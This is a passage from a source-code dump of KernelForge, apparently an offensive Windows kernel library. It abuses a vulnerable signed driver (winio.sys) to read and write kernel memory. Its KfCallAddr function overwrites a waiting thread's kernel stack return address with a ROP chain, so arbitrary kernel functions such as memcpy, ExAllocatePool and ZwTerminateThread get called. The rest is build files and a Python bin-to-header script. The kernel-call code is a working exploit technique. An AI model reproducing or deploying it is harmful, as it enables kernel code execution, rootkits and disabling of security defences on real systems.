| DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find nt!ZwTerminateThread() address\n"); 391 | goto _end; 392 | } 393 | 394 | DbgMsg(__FILE__, __LINE__, "nt!ZwTerminateThread() is at "IFMT"\n", m_ZwTerminateThread); 395 | 396 | m_bInitialized = TRUE; 397 | 398 | _end: 399 | 400 | if (!m_bInitialized) 401 | { 402 | if (m_KernelImage) 403 | { 404 | M_FREE(m_KernelImage); 405 | 406 | m_KernelImage = NULL; 407 | m_dwKernelImageSize = 0; 408 | } 409 | 410 | // unload loldriver in case of error 411 | DriverUninit(); 412 | } 413 | 414 | return m_bInitialized; 415 | } 416 | //-------------------------------------------------------------------------------------- 417 | BOOL KfUninit(void) 418 | { 419 | if (m_KernelImage) 420 | { 421 | M_FREE(m_KernelImage); 422 | 423 | m_KernelImage = NULL; 424 | m_dwKernelImageSize = 0; 425 | } 426 | 427 | m_bInitialized = FALSE; 428 | 429 | // unload loldriver 430 | return DriverUninit(); 431 | } 432 | //-------------------------------------------------------------------------------------- 433 | static DWORD WINAPI DummyThread(LPVOID lpParam) 434 | { 435 | HANDLE hEvent = lpParam; 436 | 437 | #ifdef DBG_CALL 438 | 439 | DbgMsg( 440 | __FILE__, __LINE__, 441 | "Putting thread %x:%x into the waitable state...\n", GetCurrentProcessId(), GetCurrentThreadId() 442 | ); 443 | 444 | #endif 445 | 446 | WaitForSingleObject(hEvent, INFINITE); 447 | 448 | #ifdef DBG_CALL 449 | 450 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): EXIT\n"); 451 | 452 | #endif 453 | 454 | return 0; 455 | } 456 | 457 | BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal) 458 | { 459 | BOOL bRet = FALSE; 460 | HANDLE hThread = NULL, hEvent = NULL; 461 | PVOID RetVal = NULL; 462 | 463 | if (!m_bInitialized) 464 | { 465 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Not initialized\n"); 466 | return FALSE; 467 | } 468 | 469 | if (dwArgsCount > MAX_ARGS) 470 | { 471 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Too many arguments\n"); 472 | return FALSE; 473 | } 474 | 475 | // create waitable event 476 | if ((hEvent = CreateEvent(NULL, FALSE, FALSE, NULL)) == NULL) 477 | { 478 | DbgMsg(__FILE__, __LINE__, "CreateEvent() ERROR %d\n", GetLastError()); 479 | goto _end; 480 | } 481 | 482 | DWORD dwThreadId = 0; 483 | 484 | // create dummy thread 485 | if ((hThread = CreateThread(NULL, 0, DummyThread, hEvent, 0, &dwThreadId)) == NULL) 486 | { 487 | DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError()); 488 | goto _end; 489 | } 490 | 491 | while (true) 492 | { 493 | // determine current state of dummy thread 494 | DWORD State = GetThreadState(GetCurrentProcessId(), dwThreadId); 495 | if (State == -1) 496 | { 497 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetThreadState() fails\n"); 498 | goto _end; 499 | } 500 | 501 | if (State == Waiting) 502 | { 503 | // thread was entered into the wait state 504 | break; 505 | } 506 | 507 | SwitchToThread(); 508 | } 509 | 510 | // get _KTHREAD address by handle 511 | PVOID pThread = GetObjectAddress(hThread); 512 | if (pThread == NULL) 513 | { 514 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: GetObjectAddress() fails\n"); 515 | goto _end; 516 | } 517 | 518 | #ifdef DBG_CALL 519 | 520 | DbgMsg(__FILE__, __LINE__, "_KTHREAD is at "IFMT"\n", pThread); 521 | 522 | #endif 523 | 524 | PUCHAR StackBase = NULL, KernelStack = NULL; 525 | 526 | // get stack base of the thread 527 | if (!MemReadPtr(RVATOVA(pThread, KTHREAD_StackBase), (PVOID *)&StackBase)) 528 | { 529 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n"); 530 | goto _end; 531 | } 532 | 533 | // get stack pointer of the thread 534 | if (!MemReadPtr(RVATOVA(pThread, KTHREAD_KernelStack), (PVOID *)&KernelStack)) 535 | { 536 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n"); 537 | goto _end; 538 | } 539 | 540 | #ifdef DBG_CALL 541 | 542 | DbgMsg(__FILE__, __LINE__, "Thread kernel stack base is at "IFMT"\n", StackBase); 543 | DbgMsg(__FILE__, __LINE__, "Thread kernel stack pointer is at "IFMT"\n", KernelStack); 544 | 545 | #endif 546 | 547 | PVOID RetAddr = NULL; 548 | PUCHAR Ptr = StackBase - sizeof(PVOID); 549 | 550 | // walk over the kernel stack 551 | while (Ptr > KernelStack) 552 | { 553 | DWORD_PTR Val = 0; 554 | 555 | // read stack value 556 | if (!MemReadPtr(Ptr, (PVOID *)&Val)) 557 | { 558 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemReadPtr() fails\n"); 559 | goto _end; 560 | } 561 | 562 | /* 563 | Check for the return address from system call handler back to 564 | the nt!KiSystemServiceCopyEnd(), it's located at the bottom 565 | of the kernel stack. 566 | */ 567 | if (Val > m_KernelAddr && 568 | Val < m_KernelAddr + m_dwKernelSize) 569 | { 570 | RetAddr = Ptr; 571 | break; 572 | } 573 | 574 | // go to the next stack location 575 | Ptr -= sizeof(PVOID); 576 | } 577 | 578 | if (RetAddr == NULL) 579 | { 580 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to locate return address\n"); 581 | goto _end; 582 | } 583 | 584 | #ifdef DBG_CALL 585 | 586 | DbgMsg(__FILE__, __LINE__, "Return address was found at "IFMT"\n", RetAddr); 587 | 588 | #endif 589 | 590 | #define STACK_PUT(_offset_, _val_) \ 591 | \ 592 | if (!MemWritePtr(RVATOVA(RetAddr, (_offset_)), (PVOID)(_val_))) \ 593 | { \ 594 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: DriverMemWritePtr() fails\n"); \ 595 | goto _end; \ 596 | } 597 | 598 | // hijack the return address with forged function call 599 | STACK_PUT(0x00, m_RopAddr_1); 600 | 601 | // save an address for the forged function call 602 | STACK_PUT(0x08 + 0x20, ProcAddr); 603 | 604 | if (dwArgsCount > 0) 605 | { 606 | // 1-st argument goes in RCX 607 | STACK_PUT(0x08 + 0x28, Args[0]); 608 | } 609 | 610 | if (dwArgsCount > 1) 611 | { 612 | // 2-nd argument goes in RDX 613 | STACK_PUT(0x08 + 0x30, Args[1]); 614 | } 615 | 616 | if (dwArgsCount > 2) 617 | { 618 | // 3-rd argument goes in R8 619 | STACK_PUT(0x08 + 0x38, Args[2]); 620 | } 621 | 622 | if (dwArgsCount > 3) 623 | { 624 | // 4-th argument goes in R9 625 | STACK_PUT(0x08 + 0x40, Args[3]); 626 | } 627 | 628 | // reserve shadow space and 9 stack arguments 629 | STACK_PUT(0x50, m_RopAddr_2); 630 | 631 | for (DWORD i = 4; i < dwArgsCount; i += 1) 632 | { 633 | // the rest arguments goes over the stack right after the shadow space 634 | STACK_PUT(0x58 + 0x20 + ((i - 4) * sizeof(PVOID)), Args[i]); 635 | } 636 | 637 | // obtain RetVal address 638 | STACK_PUT(0xc0, m_RopAddr_3); 639 | STACK_PUT(0xc8, &RetVal); 640 | 641 | // save return value of the forged function call 642 | STACK_PUT(0xd0, m_RopAddr_4); 643 | 644 | // dummy gadget for stack alignment 645 | STACK_PUT(0xd8, m_RopAddr_5); 646 | 647 | // put the next function call 648 | STACK_PUT(0xe0, m_RopAddr_1); 649 | 650 | // forge nt!ZwTerminateThread() function call 651 | STACK_PUT(0xe8 + 0x20, m_ZwTerminateThread); 652 | STACK_PUT(0xe8 + 0x28, hThread); 653 | STACK_PUT(0xe8 + 0x30, THREAD_EXIT_CODE); 654 | 655 | SwitchToThread(); 656 | 657 | _end: 658 | 659 | if (hEvent && hThread) 660 | { 661 | DWORD dwExitCode = 0; 662 | 663 | // put thread into the ready state 664 | SetEvent(hEvent); 665 | WaitForSingleObject(hThread, INFINITE); 666 | 667 | GetExitCodeThread(hThread, &dwExitCode); 668 | 669 | // check for the magic exit code set by forged call 670 | if (dwExitCode == THREAD_EXIT_CODE) 671 | { 672 | if (pRetVal) 673 | { 674 | // return value of the function 675 | *pRetVal = RetVal; 676 | } 677 | 678 | bRet = TRUE; 679 | } 680 | else 681 | { 682 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Something went wrong\n"); 683 | } 684 | } 685 | 686 | if (hEvent) 687 | { 688 | CloseHandle(hEvent); 689 | } 690 | 691 | if (hThread) 692 | { 693 | CloseHandle(hThread); 694 | } 695 | 696 | return bRet; 697 | } 698 | //-------------------------------------------------------------------------------------- 699 | BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal) 700 | { 701 | PVOID FuncAddr = NULL; 702 | 703 | // obtain target exported function address by its name 704 | if ((FuncAddr = KfGetKernelProcAddress(lpszProcName)) == NULL) 705 | { 706 | if (!strncmp(lpszProcName, "Zw", 2)) 707 | { 708 | // try to obtain not exported Zw function address 709 | FuncAddr = KfGetKernelZwProcAddress(lpszProcName); 710 | } 711 | } 712 | 713 | if (FuncAddr == NULL) 714 | { 715 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unable to find %s() address\n", lpszProcName); 716 | return FALSE; 717 | } 718 | 719 | DbgMsg(__FILE__, __LINE__, "nt!%s() is at "IFMT"\n", lpszProcName, FuncAddr); 720 | 721 | // perform the call 722 | return KfCallAddr(FuncAddr, Args, dwArgsCount, pRetVal); 723 | } 724 | //-------------------------------------------------------------------------------------- 725 | PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size) 726 | { 727 | PVOID Ret = NULL; 728 | PVOID Args[] = { KF_ARG(Dst), KF_ARG(Src), KF_ARG(Size) }; 729 | 730 | // perform memory copy operation 731 | if (KfCall("memcpy", Args, 3, &Ret)) 732 | { 733 | return Ret; 734 | } 735 | 736 | return NULL; 737 | } 738 | //-------------------------------------------------------------------------------------- 739 | PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size) 740 | { 741 | PVOID Ret = NULL; 742 | PVOID Args[] = { KF_ARG(Dst), KF_ARG(Val), KF_ARG(Size) }; 743 | 744 | // perform memory fill operation 745 | if (KfCall("memset", Args, 3, &Ret)) 746 | { 747 | return Ret; 748 | } 749 | 750 | return NULL; 751 | } 752 | //-------------------------------------------------------------------------------------- 753 | PVOID KfHeapAllocData(SIZE_T Size, PVOID Data) 754 | { 755 | PVOID Ret = NULL; 756 | PVOID Args[] = { KF_ARG(NonPagedPool), KF_ARG(Size) }; 757 | 758 | // allocate non paged kernel pool memory 759 | if (KfCall("ExAllocatePool", Args, 2, &Ret)) 760 | { 761 | if (Data) 762 | { 763 | // copy the data into the allocated memory 764 | return KfMemCopy(Ret, Data, Size); 765 | } 766 | 767 | return Ret; 768 | } 769 | 770 | return NULL; 771 | } 772 | 773 | PVOID KfHeapAlloc(SIZE_T Size) 774 | { 775 | return KfHeapAllocData(Size, NULL); 776 | } 777 | //-------------------------------------------------------------------------------------- 778 | void KfHeapFree(PVOID Addr) 779 | { 780 | PVOID Args[] = { KF_ARG(Addr) }; 781 | 782 | // free kernel pool memory 783 | KfCall("ExFreePool", Args, 1, NULL); 784 | } 785 | //-------------------------------------------------------------------------------------- 786 | // EoF 787 | -------------------------------------------------------------------------------- /kforge_library/kforge_library.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | {01DA4344-6C0C-4692-9542-D2E895AA4AFB} 31 | Win32Proj 32 | kforge_library 33 | 34 | 35 | 36 | StaticLibrary 37 | true 38 | v120 39 | MultiByte 40 | 41 | 42 | StaticLibrary 43 | false 44 | v120 45 | true 46 | MultiByte 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | Level3 64 | Disabled 65 | WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) 66 | MultiThreadedDebug 67 | $(SolutionDir);$(ProjectDir) 68 | /D DBG %(AdditionalOptions) 69 | EnableFastChecks 70 | 71 | 72 | Windows 73 | true 74 | 75 | 76 | $(SolutionDir)$(TargetName)$(TargetExt) 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | Level3 86 | 87 | 88 | MaxSpeed 89 | true 90 | true 91 | WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) 92 | $(SolutionDir);$(ProjectDir) 93 | MultiThreaded 94 | /D DBG %(AdditionalOptions) 95 | 96 | 97 | Windows 98 | true 99 | true 100 | true 101 | 102 | 103 | $(SolutionDir)$(TargetName)$(TargetExt) 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /kforge_library/kforge_library.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {d4d8c19d-1de9-45ef-8245-96b4b2e4d1a7} 18 | 19 | 20 | {ae12cdf3-788b-4a0a-87e7-8e9807718eb5} 21 | 22 | 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files\common 29 | 30 | 31 | Source Files\common 32 | 33 | 34 | Source Files\common 35 | 36 | 37 | 38 | 39 | Header Files\common 40 | 41 | 42 | Header Files\common 43 | 44 | 45 | Header Files\common 46 | 47 | 48 | Header Files\common 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files\common 61 | 62 | 63 | -------------------------------------------------------------------------------- /kforge_library/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma warning(disable: 4996) 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | #include "common/ntdll_defs.h" 9 | #include "common/ntdll_undocnt.h" 10 | #include "common/common.h" 11 | #include "common/debug.h" 12 | #include "common/peimage.h" 13 | 14 | #include "include/kforge_driver.h" 15 | #include "include/kforge_library.h" 16 | -------------------------------------------------------------------------------- /tools/make_header.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys, os 4 | from optparse import OptionParser 5 | 6 | LINE_WIDTH = 16 7 | 8 | def main(): 9 | 10 | parser = OptionParser() 11 | 12 | parser.add_option("-i", "--input-path", dest = "input", default = None, 13 | help = "input binary path") 14 | 15 | parser.add_option("-o", "--output-path", dest = "output", default = None, 16 | help = "output C header path") 17 | 18 | parser.add_option("-n", "--name", dest = "name", default = None, 19 | help = "variable name") 20 | 21 | options, _ = parser.parse_args() 22 | 23 | if options.input is None or options.output is None or options.name is None: 24 | 25 | print('USAGE: trustlet_prepare.py -i -o -n ') 26 | return -1 27 | 28 | print('[+] Loading input file "%s"' % options.input) 29 | 30 | with open(options.input, 'rb') as fd: 31 | 32 | # read binary contents 33 | data = fd.read() 34 | 35 | header = '// %d bytes readed from %s\n' % (len(data), os.path.basename(options.input)) 36 | header += 'unsigned char %s[] = \n{\n' % options.name 37 | lines = [] 38 | 39 | while len(data) > 0: 40 | 41 | lines.append(', '.join(map(lambda b: '0x%.2x' % ord(b), data[: LINE_WIDTH]))) 42 | data = data[LINE_WIDTH :] 43 | 44 | header += ',\n'.join(lines) 45 | header += '\n};\n' 46 | 47 | print('[+] Saving output file "%s"' % options.output) 48 | 49 | with open(options.output, 'wb') as fd: 50 | 51 | # write C header contents 52 | fd.write(header) 53 | 54 | return 0 55 | 56 | if __name__ == '__main__': 57 | 58 | exit(main()) 59 | 60 | # 61 | # EoF 62 | # -------------------------------------------------------------------------------- /winio.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cr4sh/KernelForge/491e41019d6225535e53d6c6795eb0cfdc7d5ff2/winio.sys --------------------------------------------------------------------------------